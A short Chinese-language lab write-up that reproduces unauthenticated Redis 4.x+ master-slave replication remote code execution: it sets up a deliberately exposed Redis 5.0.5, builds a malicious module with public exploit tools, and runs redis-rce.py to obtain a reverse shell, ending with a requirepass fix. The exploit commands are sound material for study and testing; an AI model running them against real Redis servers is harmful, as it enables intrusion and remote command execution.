redis 4.x及以上的未授权访问(主从复制RCE)
00x01 环境搭建
选择在kali中复现
选择了redis5.0.5版本
1.下载并安装:
$ wget http://download.redis.io/releases/redis-5.0.5.tar.gz
$ tar xzf redis-5.0.5.tar.gz
$ cd redis-5.0.5
$ make
2.将redis-5.0.5.tar.gz里面的redis.conf文件中的“bind 127.0.0.1”这一行前面加注释符“#”;再将”protected-mode yes”改为no。
3.运行redis:
./redis-server ../redis.conf
00x02 下载EXP
git clone https://github.com/Ridter/redis-rce.git
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
生成module.so文件:
进入RedisModules-ExecuteCommand文件的sec文件里面,看见makefile、module.c两个文件,进入该路径的终端,执行命令make生成module.so文件
将module.so文件复制到redis-rce目录下
在当前目录下的终端执行:python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f module.so
-r参数是指远程Redis IP地址; -L参数是指反弹到的服务器IP地址; 执行命令后,开启监听了本地的60720端口,并成功反弹回了shell。
00x03修复建议
这属于未授权访问漏洞,redis是默认开启未授权访问的,因此只要网站管理员将redis.conf文件里面的”requirepass”参数开启就行了(取消注释及开启)